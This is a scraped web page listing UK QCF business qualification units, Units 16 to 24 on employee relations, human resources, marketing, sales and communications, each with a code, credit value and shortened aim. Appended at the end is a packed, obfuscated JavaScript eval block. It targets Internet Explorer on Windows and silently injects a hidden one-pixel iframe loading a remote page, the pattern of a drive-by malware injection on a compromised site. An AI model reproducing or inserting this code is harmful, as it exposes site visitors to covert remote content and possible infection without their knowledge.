UNIT 24: EMPLOYEE RELATIONS

UNIT 24: EMPLOYEE RELATIONS Unit 24: Unit code: QCF level: Credit value: Employee Relations F/601/1271 5 15 credits • Aim The aim of this unit is to introduce learners to the importance of good employee relations for business success and the impact of changes which have affected employment relationships. • Unit abstract The term ‘employee […]

read more

UNIT 23: HUMAN RESOURCES DEVELOPMENT

UNIT 23: HUMAN RESOURCES DEVELOPMENT Unit 23: Unit code: QCF level: Credit value: Human Resources Development J/601/1269 5 15 credits • Aim This unit will develop the skills and understanding needed for planning and designing training and development, through understanding how people learn and the suitability of different training methods and initiatives. • Unit abstract […]

read more

UNIT 22: MANAGING HUMAN RESOURCES

UNIT 22: MANAGING HUMAN RESOURCES Unit 22: Unit code: QCF level: Credit value: Managing Human Resources F/601/1268 4 15 credits • Aim The aim of this unit is to develop an understanding of the theory and practice of human resource management focussing on current human resources practice and the impact of topical issues and legislation. […]

read more

UNIT 21: HUMAN RESOURCE MANAGEMENT

UNIT 21: HUMAN RESOURCE MANAGEMENT Unit 21: Unit code: QCF level: Credit value: Human Resource Management K/601/1264 4 15 credits • Aim This unit provides an introduction to the concepts and practices of human resource management within the United Kingdom and focuses on the management of recruitment, retention and employment cessation. • Unit abstract Recruiting […]

read more

UNIT 20: SALES PLANNING AND OPERATIONS

UNIT 20: SALES PLANNING AND OPERATIONS Unit 20: Unit code: QCF level: Credit value: Sales Planning and Operations Y/601/1261 5 15 credits • Aim The aim of this unit is to provide learners with an understanding of sales planning, sales management, and the selling process, which can be applied in different markets and environments. • […]

read more

UNIT 19: MARKETING PLANNING

UNIT 19: MARKETING PLANNING Unit 19: Unit code: QCF level: Credit value: Marketing Planning Y/601/1259 5 15 credits • Aim The aim of this unit is to provide learners with the understanding and skills to develop marketing plans that meet marketing objectives, and meet the needs of the target market. • Unit abstract Effective planning […]

read more

UNIT 18: ADVERTISING AND PROMOTION IN BUSINESS

UNIT 18: ADVERTISING AND PROMOTION IN BUSINESS Unit 18: Unit code: QCF level: Credit value: Advertising and Promotion in Business J/601/1000 4 15 credits • Aim The aim of this unit is to provide learners with the understanding and skills for using advertising, promotion and marketing communications effectively. Learners will put this into practice by […]

read more

UNIT 17: MARKETING INTELLIGENCE

UNIT 17: MARKETING INTELLIGENCE Unit 17: Unit code: QCF level: Credit value: Marketing Intelligence K/601/0955 4 15 credits • Aim The aim of this unit is to enable learners to understand the purchase decision-making process and how marketing research techniques are used to contribute to the development of marketing plans. • Unit abstract This unit […]

read more

UNIT 16: MANAGING COMMUNICATIONS, KNOWLEDGE AND INFORMATION

UNIT 16: MANAGING COMMUNICATIONS, KNOWLEDGE AND INFORMATION Unit 16: Unit code: QCF level: Credit value: Managing Communications, Knowledge and Information L/601/0950 4 15 credits • Aim The aim of this unit is to show how communications, knowledge and information can be improved within an organisation including making better use of IT systems. • Unit abstract […]

read more
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.from​CharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|do​cument|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|get​ElementById|function|createElement|iframe|append​Child|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))